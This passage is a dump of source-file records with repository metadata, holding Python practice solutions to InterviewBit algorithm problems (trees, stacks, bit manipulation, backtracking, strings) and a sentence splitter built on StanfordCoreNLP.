(sol.uniquePathsWithObstacles(1, 3000))" }, { "alpha_fraction": 0.40780141949653625, "alphanum_fraction": 0.42198580503463745, "avg_line_length": 24.68181800842285, "blob_id": "de919c38b8a6058e516a3be8387f76d25897a11b", "content_id": "8a23c63a21d9ea386aa073e081e606c13d704a2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 564, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/binary search/squareRoot.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def squareRoot(self, A):\n start = 0\n end = A\n result = -1\n while start <= end:\n mid = int((start+end)/2)\n square_value = pow(mid, 2)\n print (f\"{mid} :: {square_value}\")\n if square_value == A:\n return mid\n elif square_value < A:\n result = mid\n start = mid + 1\n else:\n end = mid - 1\n return int(result)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.squareRoot(10))" }, { "alpha_fraction": 0.3111782371997833, "alphanum_fraction": 0.3791540861129761, "avg_line_length": 25.520000457763672, "blob_id": "a703dc4d92e17acbb0ccb02e2cc26d28e0f19a4b", "content_id": "d57293600d3f0f2ba645dd11001edc401df36e7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 662, "license_type": "no_license", "max_line_length": 53, "num_lines": 25, "path": "/Bit Manipulation/divideIntegers.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def divide(self, A, B):\n temp = 0\n value = 0\n if (A < 0 and B < 0) or (A > 0 and B > 0):\n neg = 1\n else:\n neg = -1\n A = abs(A)\n B = abs(B)\n for i in range(31, -1, -1):\n print (f\"{temp + (B << i)} :::: {B}\")\n if temp + (B << i) <= A:\n temp += B << i\n value += 1 << i\n print (f\"{i} :: {value}\")\n value = neg * value\n if value > 2147483647 or value < -2147483648:\n value = 2147483647\n return value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.divide(-1, 1))" }, { "alpha_fraction": 0.3456000089645386, "alphanum_fraction": 0.35519999265670776, "avg_line_length": 27.454545974731445, "blob_id": "e9c45b124442ff781eea1346f21ef17734a2b2df", "content_id": "b89203efb8efa3a42685334136e3f0d348fc2711", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 625, "license_type": "no_license", "max_line_length": 54, "num_lines": 22, "path": "/Stack and Queues/redundantBraces.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def redundantBraces(self, A):\n stack = []\n n = len(A)\n for i in range(n):\n if A[i] == ')':\n operator = 0\n last = stack.pop()\n while len(stack) != 0 and last != '(':\n if last in ['+', '-', '/', '*']:\n operator += 1\n last = stack.pop()\n if operator == 0:\n return 1\n else:\n stack.append(A[i])\n return 0\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.redundantBraces(\"(a + (a + b))\"))" }, { "alpha_fraction": 0.32848140597343445, "alphanum_fraction": 0.33643457293510437, "avg_line_length": 37.970760345458984, "blob_id": "214dbeeff6245ea050c38ff905440a5d6fb1b338", "content_id": "425118a8b37f306e64023b546a006e2142583554", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6664, "license_type": "no_license", "max_line_length": 129, "num_lines": 171, "path": "/String Theory/morgan_and_a_string.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "def match_greater(a, b):\n if (ord(a) > ord(b)):\n return True\n else:\n return False\n\ndef match_lesser(a, b):\n if (ord(a) < ord(b)):\n return True\n else:\n return False\n\ndef match_equal(a, b):\n if (ord(a) == ord(b)):\n return True\n else:\n return False\n\nt = int(input().strip())\nfor i in range(t):\n first = input().strip() + \"z\"\n second = input().strip() + \"z\"\n len_first = len(first)\n # first = [ord(first[i]) for i in range(len_first)]\n len_second = len(second)\n # second = [ord(second[i]) for i in range(len_second)]\n i = 0\n j = 0\n output = ''\n while i < len_first or j < len_second:\n if i >= len_first:\n output = output + second[j]\n # print(\"1\")\n j = j + 1\n elif j >= len_second:\n output = output + first[i]\n # print(\"2\")\n i = i + 1\n elif match_lesser(first[i], second[j]):\n # print(\"3\")\n # elif ord(first[i]) < ord(second[j]):\n output = output + first[i]\n i = i + 1\n elif match_greater(first[i], second[j]):\n # print(\"4\")\n # elif ord(first[i]) > ord(second[j]):\n output = output + second[j]\n j = j + 1\n elif match_equal(first[i], second[j]):\n # elif ord(first[i]) == ord(second[j]):\n intd_f = first[i]\n f_lock = 0\n intd_s = second[j]\n s_lock = 0\n i_add = 1\n mode = 0\n min_f = intd_f\n min_s = intd_s\n count = 0\n i_before = 0\n all_same = 1\n while True:\n print (i_add)\n if i + i_add < len_first:\n print (first[i + i_add])\n print (i)\n if j + i_add < len_second:\n print(second[j + i_add])\n print (j)\n if i + i_add >= len_first:\n # print (\"5\")\n # mode = 0\n output = output + intd_f\n i = i + len(intd_f)\n break\n elif j + i_add >= len_second:\n # print(\"6\")\n # mode = 1\n output = output + intd_s\n j = j + len(intd_s)\n break\n elif ord(first[i+i_add]) < ord(second[j+i_add]):\n # print(\"7\")\n # intd_f = intd_f + first[i + i_add]\n # mode = 0\n output = output + intd_f\n i = i + len(intd_f)\n break\n elif ord(first[i+i_add]) > ord(second[j+i_add]):\n # print(\"8\")\n # intd_s = intd_s + second[j+i_add]\n # mode = 1\n output = output + intd_s\n j = j + len(intd_s)\n break\n else:\n # print (\"else\")\n if ord(first[i + i_add]) == ord(first[i]) or count > 0:\n print (\"inside equality match\")\n print (count)\n print (first[i + i_add])\n print (first[i + count])\n if count == 0:\n i_before = i + i_add\n print (i)\n print (\"inside count == 0 loop\")\n count = count + 1\n # elif f_lock == 1 or s_lock == 1:\n # count = 0\n elif match_equal(first[i + i_add], first[i + count]):\n count = count + 1\n elif match_greater(first[i + i_add], first[i + count]):\n if all_same == 0:\n output = output + first[i:i_before] + second[j:j + i_before - i] #+ first[i_before:i + i_add + 1]\n print (first[i:i_before])\n print (second[j:j + i_before - i])\n print (first[i_before:i + i_add + 1])\n j = j + i_before - i\n i = i_before\n print (i)\n print (j)\n print (i_before)\n elif all_same == 1:\n output = output + first[i:i + i_add] + second[j:j + i_add] # + first[i_before:i + i_add + 1]\n # print (first[i:i_before])\n # print (second[j:j + i_before - i])\n # print (first[i_before:i + i_add + 1])\n j = j + i_add\n i = i + i_add\n # print (i)\n # print (j)\n # print (i_before)\n count = 0\n break\n elif match_lesser(first[i + i_add], first[i + count]):\n count = 0\n\n if first[i + i_add] != first[i]:\n all_same = 0\n\n # print(\"5\")\n # if (ord(first[i + i_add]) > ord(min_f)):\n # min_f = first[i + i_add]\n # if (ord(second[j + i_add]) > ord(min_s)):\n # min_s = second[j + i_add]\n if ord(first[i + i_add]) < ord(min_s) and f_lock == 0:\n intd_f = intd_f + first[i + i_add]\n else:\n f_lock = 1\n if ord(second[j + i_add]) < ord(min_f) and s_lock == 0:\n intd_s = intd_s + second[j + i_add]\n else:\n s_lock = 1\n i_add = i_add + 1\n # print(ord(first[i + i_add]))\n # print(ord(second[j + i_add]))\n # i_add = i_add + 1\n # print (i_add)\n # if mode == 0:\n # # print (intd_f)\n # output = output + intd_f\n # # output = output + first[i]\n # i = i + len(intd_f)\n # # i = i + i_add + 1\n # elif mode == 1:\n # # print(intd_s)\n # output = output + intd_s\n # # output = output + second[j]\n # # j = j + i_add + 1\n # j = j + len(intd_s)\n print(output.replace(\"z\", \"\"))\n" }, { "alpha_fraction": 0.35142117738723755, "alphanum_fraction": 0.39534884691238403, "avg_line_length": 21.823530197143555, "blob_id": "04792240a218abea49bd3e909047607843ac6fd0", "content_id": "fc2f4a930667f9d15a3f19131eada84dfe2fac54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 387, "license_type": "no_license", "max_line_length": 61, "num_lines": 17, "path": "/Bit Manipulation/singleNumber2.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def single_number(self, A):\n num = 0\n\n for i in range(32):\n count = 0\n for j in range(len(A)):\n if A[j] & (1 << i):\n count += 1\n num += (count % 3) << i\n\n return num\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.single_number([1, 2, 3, 4, 4, 4, 2, 2, 3, 3]))" }, { "alpha_fraction": 0.30974188446998596, "alphanum_fraction": 0.32389676570892334, "avg_line_length": 24.553192138671875, "blob_id": "2b5d9c79c8dbb143f853acca69f2f96b5d6ff30c", "content_id": "5998753ec5da451806bdd66e05eaa2a81c0dcb35", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 52, "num_lines": 47, "path": "/backtracking/letterPhone.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def letterPhone(self, A):\n if len(A) == 0:\n return []\n\n d = {}\n d['0'] = ['0']\n d['1'] = ['1']\n d['2'] = ['a', 'b', 'c']\n d['3'] = ['d', 'e', 'f']\n d['4'] = ['g', 'h', 'i']\n d['5'] = ['j', 'k', 'l']\n d['6'] = ['m', 'n', 'o']\n d['7'] = ['[', 'q', 'r', 's']\n d['8'] = ['t', 'u', 'v']\n d['9'] = ['w', 'x', 'y', 'z']\n\n out = []\n out.append('')\n out = self.gen(A, 0, d, out)\n return out\n\n def gen(self, A, index, d, out):\n if index >= len(A):\n return out\n\n m = len(out)\n n = len(d[A[index]])\n new_out = []\n for j in range(m):\n for i in range(n):\n temp = []\n val = out[j][:]\n # print (val)\n # temp.append(d[A[index]][i])\n val = val + d[A[index]][i]\n # print (val)\n temp.append(val)\n temp = self.gen(A, index+1, d, temp)\n new_out.extend(temp)\n out = new_out\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.letterPhone(\"23\"))\n" }, { "alpha_fraction": 0.39086294174194336, "alphanum_fraction": 0.4289340078830719, "avg_line_length": 23.6875, "blob_id": "34acc8f4ff192c6bc017e3f711f7a85b730bf555", "content_id": "b3fc94f9f491e7274e8d46ba758321bcd7f59d71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 394, "license_type": "no_license", "max_line_length": 45, "num_lines": 16, "path": "/Two Pointers/sortByColor.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : list of integers\n # @return A after the sort\n def sortColors(self, A):\n a = [0] * 3\n for i in range(len(A)):\n a[A[i]] += 1\n A = []\n A = [0] * a[0]\n A.extend([1] * a[1])\n A.extend([2] * a[2])\n return A\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.sortColors([0, 0, 1, 2, 1, 2]))" }, { "alpha_fraction": 0.5122807025909424, "alphanum_fraction": 0.5122807025909424, "avg_line_length": 21, "blob_id": "ccee2d861f57cc9643eeb3a06196c345775bb764", "content_id": "480ff9766be6e7451bb92e8829310879199c09f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 285, "license_type": "no_license", "max_line_length": 36, "num_lines": 13, "path": "/Trees/inOrderTraversal.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def inorder(self, A):\n out = []\n self.traversal(A, out)\n return out\n\n def traversal(self, A, out):\n if A == None:\n return\n self.traversal(A.left, out)\n out.append(A.val)\n self.traversal(A.right, out)" }, { "alpha_fraction": 0.6006215810775757, "alphanum_fraction": 0.6133126020431519, "avg_line_length": 28.700000762939453, "blob_id": "9c5ccbfb88a752f40697fadb82c564b3c5f781c5", "content_id": "2d63221d965a461e482728aec0bf1a95ae2c862a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3861, "license_type": "no_license", "max_line_length": 245, "num_lines": 130, "path": "/sent_splitter.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "\nfrom pycorenlp import StanfordCoreNLP\nimport os,sys\n\ndef recur_split(arr,start,prefix):\n\tbracket_active = 1\n\tsenten = prefix\n\ti = start\n\t# print str(start) + ' ' + prefix\n\to_brac = 0\n\twhile i<len(arr):\n\t\tif arr[i]==None:\n\t\t\treturn len(arr)\n\t\tif arr[i].strip()=='(':\n\t\t\tbracket_active+=1\n\t\t\tbrac_o = 1\n\t\telif arr[i].strip()==')':\n\t\t\tbracket_active = bracket_active - 1\n\t\t\tbrac_o = 0\n\t\telif arr[i].strip().islower() or arr[i].strip().isnumeric() :\n\t\t\tsenten = senten + ' ' + arr[i]\n\t\t\tbrac_o = 0\n\t\telif arr[i].strip()=='S' or arr[i].strip()=='SQ':\n\t\t\tbrac_o = 0\n\t\t\t# print 'clausal sentence: ' + arr[i]\n\t\t\ti = recur_split(arr,i+1,senten)\n\t\t\t# print i\n\t\t\tif i==None: return len(arr)\n\t\t\tsenten = ''\n\t\telif arr[i].strip()=='SBAR' or arr[i].strip()=='SBARQ':\n\t\t\tbrac_o = 0\n\t\t\tif len(senten)>0:\n\t\t\t\t# sent_arr = sent_arr + senten.strip() + '\\n'\n\t\t\t\tsent_arr.append(senten.strip())\n\t\t\tsenten = ''\n\t\t\ti=recur_split(arr,i+1,senten)\n\t\t\tif i==None: return len(arr)\n\t\telse:\n\t\t\tif brac_o==1:\n\t\t\t\t# print arr[i]\n\t\t\t\tbrac_o = 0\n\t\t\telse:\n\t\t\t\t# print \"punct: \" + arr[i]\n\t\t\t\tif len(senten)>0:\n\t\t\t\t\tsenten = senten + ' ' + arr[i]\n\t\t\t\telse:\n\t\t\t\t\t# print len(sent_arr)\n\t\t\t\t\tif len(sent_arr)>0:\n\t\t\t\t\t\tsent_arr[len(sent_arr)-1] = sent_arr[len(sent_arr)-1]+' '+arr[i]\n\n\t\tif bracket_active==0:\n\t\t\t# print 'sentence: ' + senten\n\t\t\tif len(senten)>0:\n\t\t\t\t# sent_arr = sent_arr + senten.strip() + '\\n'\n\t\t\t\tsent_arr.append(senten.strip())\n\t\t\t\tsenten = ''\n\t\t\treturn i\n\t\tif i==len(arr)-1:\n\t\t\tif len(senten)>0:\n\t\t\t\tsent_arr.append(senten.strip())\n\t\t\t\tsenten = ''\n\t\t\t\treturn i\n\t\ti=i+1\n\ndef sent_splt(text):\n\tnlp = StanfordCoreNLP('http://localhost:9000')\n\n\t## needed for caseless\n\ttext = text.lower()\n\n\t##-------## Replacing Does to Do if the question starts from Does\n\t##-----## Replacing based on latest rules:\n\ttext = text.replace('like to','likes to')\n\ttext = text.replace('love to','loves to')\n\n\t## caseless not generating constituency graph correctly so default one is preferred\n\toutput = nlp.annotate(text, properties={\n\t\t'annotators': 'tokenize,ssplit,pos,depparse,parse',\n\t\t'outputFormat': 'json'\n\t\t# 'pos.model': 'edu/stanford/nlp/models/pos-tagger/english-caseless-left3words-distsim.tagger',\n\t\t# 'parse.model': 'edu/stanford/nlp/models/lexparser/englishPCFG.caseless.ser.gz',\n\t\t# 'ner.model': 'edu/stanford/nlp/models/ner/english.all.3class.caseless.distsim.crf.ser.gz,edu/stanford/nlp/models/ner/english.muc.7class.caseless.distsim.crf.ser.gz,edu/stanford/nlp/models/ner/english.conll.4class.caseless.distsim.crf.ser.gz'\n\t})\n\n\t# print \"len of sentences: \" + str(len(output['sentences']))\n\n\tfor index in range(0,len(output['sentences'])):\n\t\tparse = output['sentences'][index]['parse']\n\n\t\t# print 'parse' + \": \"\t + str(parse)\n\n\t\tparse = parse.replace('\\n','')\n\t\tparse = parse.replace('(',' ( ')\n\t\tparse = parse.replace(')',' ) ')\n\t\t# parse = parse.replace('\\t',' ')\n\t\t# parse = parse.replace('\\r',' ')\n\n\t\tparse_arr = parse.split()\n\t\t# for prs in parse_arr:\n\t\t# \tprint prs\n\n\t\t# sent_arr = ''\n\t\tlast = recur_split(parse_arr,0,'') ## parse_arr = arr with all the tags, 0 = position to start parsing the input array, third argument=left over array to be added to the first array\n\n\t# print last\n\t# print sent_arr\n\t# for i in range(0,len(sent_arr)):\n\t\t# print sent_arr[i]\n\nif __name__ == \"__main__\":\n\t# text = sys.argv[1]\n\t# global sent_arr\n\t# sent_arr = []\n\t# sent_splt(text)\n\t# app.run(host='0.0.0.0', port=8019)\n global sent_arr\n text = \"hi vinay! i did respond on december 9 , 2017\"\n sent_arr = []\n sent_splt(str(text).strip())\n sent = ''\n print (sent_arr)\n text = \"unfortunately our situation has not changed since then , but if it does i will make sure to reach out !\"\n sent_arr = []\n sent_splt(str(text).strip())\n sent = ''\n print(sent_arr)\n # text = \"\"\n # sent_arr = []\n # sent_splt(str(text).strip())\n # sent = ''\n # print (sent_arr)" }, { "alpha_fraction": 0.3970588147640228, "alphanum_fraction": 0.4215686321258545, "avg_line_length": 21.72222137451172, "blob_id": "a4f182a053ca241358398e67e0b887367e329e26", "content_id": "7d26fadd8aa3eb9a4858bcd1581de1e10a7a7247", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "no_license", "max_line_length": 40, "num_lines": 18, "path": "/powerFunction.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def power(self, A, n):\n if A == 0:\n return 0\n if n == 0:\n return 1\n temp = self.power(A, int(n/2))\n if n & 1:\n result = A * temp * temp\n else:\n result = temp * temp\n print (f\"{temp}::{result}::{n}\")\n return result\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.power(10, 10))" }, { "alpha_fraction": 0.5072638988494873, "alphanum_fraction": 0.5217917561531067, "avg_line_length": 23.294116973876953, "blob_id": "56913588e05226d3ad5c593a655d242d5355aee8", "content_id": "8b3d87b3ff87167e73af849dd07b15838f5c3c21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 826, "license_type": "no_license", "max_line_length": 56, "num_lines": 34, "path": "/Trees/sortedArrayToBST.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\nclass Solution():\n\n def arraytoBalancedBT(self, A):\n head = self.createBBT(A, 0, len(A)-1)\n self.print_tree(head)\n return head\n\n def createBBT(self, A, min, max):\n if min > max:\n return None\n index = (max + min) // 2\n temp = Node(A[index])\n temp.left = self.createBBT(A, min, index -1)\n temp.right = self.createBBT(A, index + 1, max)\n return temp\n\n def print_tree(self, head):\n if head == None:\n return\n self.print_tree(head.left)\n print (head.val)\n self.print_tree(head.right)\n\nif __name__ == \"__main__\":\n\n sol = Solution()\n print (sol.arraytoBalancedBT([1, 2, 3, 4, 5, 6, 7]))\n" }, { "alpha_fraction": 0.4106122553348541, "alphanum_fraction": 0.41959184408187866, "avg_line_length": 29.649999618530273, "blob_id": "e47d472af38003291f7d1fe3743612df44c5c4ed", "content_id": "6752b4563c053465b581ad41bac888a32d31090f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1225, "license_type": "no_license", "max_line_length": 183, "num_lines": 40, "path": "/hashing/substringConcat.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def substring(self, A, B):\n n = len(A)\n m = len(B)\n if m == 0:\n return []\n word_len = 0\n hash_map = {}\n for i in range(m):\n if B[i] in hash_map:\n hash_map[B[i]] += 1\n else:\n hash_map[B[i]] = 1\n word_len = len(B[i])\n\n out = []\n for i in range(n):\n allsubs = 1\n map_int = hash_map.copy()\n for j in range(m):\n word = A[i + j*word_len:i + (j+1)*word_len]\n if word not in map_int:\n allsubs = 0\n break\n else:\n if map_int[word] == 0:\n allsubs = 0\n break\n else:\n map_int[word] -= 1\n if allsubs == 1:\n out.append(i)\n\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.substring(\"barfoothefoobarman\", [\"foo\", \"bar\"]))\n # print (sol.substring(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\", [ \"aaa\", \"aaa\", \"aaa\", \"aaa\", \"aaa\" ]))" }, { "alpha_fraction": 0.5457875728607178, "alphanum_fraction": 0.553113579750061, "avg_line_length": 33.1875, "blob_id": "41519c17ff9ce90801c861cca14a25ba6621041a", "content_id": "2d71a95091f7871883d73a84838fe7028eae6d2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 546, "license_type": "no_license", "max_line_length": 77, "num_lines": 16, "path": "/Trees/pathSum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def path(self, A, B):\n return self.check_path_sum(A, B, 0)\n\n def check_path_sum(self, node, sum, current_sum):\n if node == None:\n return 0\n if not node.left and not node.right:\n new_sum = current_sum + node.val\n if new_sum == sum:\n return 1\n return 0\n lcheck = self.check_path_sum(node.left, sum, current_sum + node.val)\n rcheck = self.check_path_sum(node.right, sum, current_sum + node.val)\n return max(lcheck, rcheck)" }, { "alpha_fraction": 0.3780025243759155, "alphanum_fraction": 0.4437420964241028, "avg_line_length": 33.434783935546875, "blob_id": "a252021989dd3510d7cb434ba015bb75fcf67dc8", "content_id": "dd3c8b24c9be930480281cfd865318d3e3df0069", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 791, "license_type": "no_license", "max_line_length": 82, "num_lines": 23, "path": "/Two Pointers/minimizeDifference.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def minimizeDifference(self, A, B, C):\n p1 = 0\n p2 = 0\n p3 = 0\n abs_min_value = 9223372036854775807\n while p1 <= len(A) - 1 and p2 <= len(B) - 1 and p3 <= len(C) - 1:\n max_value = max(A[p1], B[p2], C[p3])\n min_value = min(A[p1], B[p2], C[p3])\n abs_min_value = min(abs_min_value, max_value-min_value)\n print (f\"{max_value}::{min_value}::{p1}::{p2}::{p3}::{abs_min_value}\")\n if min_value == A[p1]:\n p1 += 1\n elif min_value == B[p2]:\n p2 += 1\n elif min_value == C[p3]:\n p3 += 1\n return abs_min_value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.minimizeDifference([ -1 ], [ -2 ], [ -3 ]))" }, { "alpha_fraction": 0.4264957308769226, "alphanum_fraction": 0.4367521405220032, "avg_line_length": 25.590909957885742, "blob_id": "4bd8b456bfe12eb343b05806df8480e9f56845f0", "content_id": "b9468afff5d69be38012942d6278710f009874a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1170, "license_type": "no_license", "max_line_length": 67, "num_lines": 44, "path": "/backtracking/subset.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def subset(self, A):\n out = []\n A.sort()\n out.append([])\n self.get_all_subsets(A, 0, out)\n return out\n\n def get_all_subsets(self, A, index, out):\n if index >= len(A):\n return\n self.get_all_subsets(A, index + 1, out)\n new_out = []\n for i in range(len(out)):\n temp = out[i].copy()\n temp = [A[index]] + temp\n new_out.append(temp)\n for i in range(len(new_out)-1, -1, -1):\n out.insert(1, new_out[i])\n\n def subsets(self, A):\n # print '\\nSubsets of', A\n S = sorted(A)\n out = []\n out.append([])\n for sset in self.subsets_generator(S):\n out.append(sset)\n return out\n\n def subsets_generator(self, S):\n if len(S) == 1:\n yield S\n else:\n for i in range(len(S)):\n ch = S[i]\n yield [ch]\n if S[i + 1:]:\n for other in self.subsets_generator(S[i + 1:]):\n yield [ch] + other\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.subset([1,2,3]))\n" }, { "alpha_fraction": 0.5241779685020447, "alphanum_fraction": 0.5280464291572571, "avg_line_length": 27.77777862548828, "blob_id": "6ae01a2cc174530413240f1c7d75c13ec734ce1d", "content_id": "55be0dd75e6e737f8a629c5d8bfce2457c2c3064", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 60, "num_lines": 18, "path": "/Trees/kthSmallestElement.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def kthSmallestElement(self, A, B):\n index, node = self.get_kth_element(A, B, 0)\n print (node.val)\n print (index)\n return node\n\n def get_kth_element(self, A, B, index):\n if A == None:\n return index, None\n index, node = self.get_kth_element(A.left, B, index)\n if node != None:\n return index, node\n index += 1\n if index == B:\n return index, A\n return self.get_kth_element(A.right, B, index)" }, { "alpha_fraction": 0.40667885541915894, "alphanum_fraction": 0.4217749238014221, "avg_line_length": 29.375, "blob_id": "37b91296841b33a59c493442e106dc7301dac922", "content_id": "d6a85c0d3cabbb08a849b8eaf5b7da1066a32e9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2186, "license_type": "no_license", "max_line_length": 73, "num_lines": 72, "path": "/Stack and Queues/largestRectangleHistogram.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def largestRectangleHist(self, A):\n n = len(A)\n if n == 0:\n return 0\n stack = []\n stack.append(0)\n area = A[0]\n i = 1\n while i < n:\n print (stack)\n if not stack or A[i] >= A[stack[-1]]:\n stack.append(i)\n i += 1\n else:\n top = stack.pop()\n if stack:\n length = i - stack[-1] - 1\n else:\n length = i\n area_val = A[top] * length\n if area_val > area:\n area = area_val\n while stack:\n top = stack.pop()\n if stack:\n length = i - stack[-1] - 1\n else:\n length = i\n area_val = A[top] * length\n if area_val > area:\n area = area_val\n return area\n\n def largestRectangleArea(self, A):\n rectangle_stack = []\n max_value = 0\n index = 0\n while index < len(A):\n print (rectangle_stack)\n if not rectangle_stack or A[index] >= A[rectangle_stack[-1]]:\n rectangle_stack.append(index)\n index += 1\n else:\n top = rectangle_stack[-1]\n rectangle_stack.pop(len(rectangle_stack) - 1)\n if not rectangle_stack:\n length = index\n else:\n length = index - rectangle_stack[-1] - 1\n area = A[top] * length\n if max_value < area:\n max_value = area\n while rectangle_stack:\n top = rectangle_stack[-1]\n rectangle_stack.pop(len(rectangle_stack) - 1)\n\n if not rectangle_stack:\n length = index\n else:\n length = index - rectangle_stack[-1] - 1\n area = A[top] * length\n if max_value < area:\n max_value = area\n\n return max_value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.largestRectangleHist([2,4,4,5,3]))\n print(sol.largestRectangleArea([2, 4, 4, 5, 3]))" }, { "alpha_fraction": 0.5635179281234741, "alphanum_fraction": 0.5635179281234741, "avg_line_length": 22.69230842590332, "blob_id": "b8c7752e2b2b162fa786cb11a94941b621a3bf61", "content_id": "1af8f1085126190d0147183c4d2792f0685d1421", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 307, "license_type": "no_license", "max_line_length": 53, "num_lines": 13, "path": "/Trees/invertBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def invertBT(self, A):\n self.invertTree(A)\n return A\n\n def invertTree(self, head):\n if head == None:\n return\n head.left, head.right = head.right, head.left\n self.invertBT(head.left)\n self.invertBT(head.right)\n return head" }, { "alpha_fraction": 0.4534161388874054, "alphanum_fraction": 0.4637681245803833, "avg_line_length": 25.88888931274414, "blob_id": "53f45c40df1a53b6d4e2766ccd244a3ba0b8e06b", "content_id": "9e66b86588520812f9d7973701531e5be72804c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 483, "license_type": "no_license", "max_line_length": 53, "num_lines": 18, "path": "/Trees/identicalBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def identicalBT(self, A, B):\n return self.is_identical(A, B)\n\n def is_identical(self, A, B):\n if A == None and B == None:\n return 1\n elif A == None or B == None:\n return 0\n elif A.val != B.val:\n return 0\n else:\n val = self.is_identical(A.left, B.left)\n if val == 0:\n return 0\n val = self.is_identical(A.right, B.right)\n return val" }, { "alpha_fraction": 0.3844786584377289, "alphanum_fraction": 0.4010663628578186, "avg_line_length": 34.914894104003906, "blob_id": "a237f26554dce16650e875042323999a0daa23d7", "content_id": "f418590168702c55a767725f10180e6f9eece41c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 95, "num_lines": 47, "path": "/Strings/longestPalindromicSequence.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def longestPalindrome(self, A):\n index = (-1. -1)\n n = len(A)\n max_length = -1\n for i in range(n):\n start = i\n end = n - 1\n length = 0\n local_index = (i, end)\n last = -1\n while end >= start:\n print (f\"{start}:{A[start]}::{end}:{A[end]}::{length}::{local_index}::{last}\")\n if A[start] != A[end]:\n start = i\n if A[start] == A[end] and last == -1:\n end = end\n else:\n end = end - 1 if last == -1 else last\n length = 0\n last = -1\n else:\n if length == 0:\n local_index = (i, end)\n elif A[i] == A[end] and end > last:\n last = end\n length += 1\n start += 1\n end -= 1\n # print(f\"{start}:{A[start]}::{end}:{A[end]}::{length}::{local_index}::{last}\")\n if length > 0:\n if max_length < local_index[1] - local_index[0] + 1:\n index = (local_index[0], local_index[1])\n max_length = local_index[1] - local_index[0] + 1\n print(f\"{index}::{max_length}\")\n if max_length == -1:\n return \"\"\n else:\n return A[index[0]:index[1]+1]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.longestPalindrome(\"aabaaa\"))\n\n # caccbcbaabacabaccacaaccaccaaccbbcbcbbaacabccbcccbbacbbacbccaccaacaccbbcc\n # abbcccbbbcaaccbababcbcabca\n" }, { "alpha_fraction": 0.43669527769088745, "alphanum_fraction": 0.45278969407081604, "avg_line_length": 29.064516067504883, 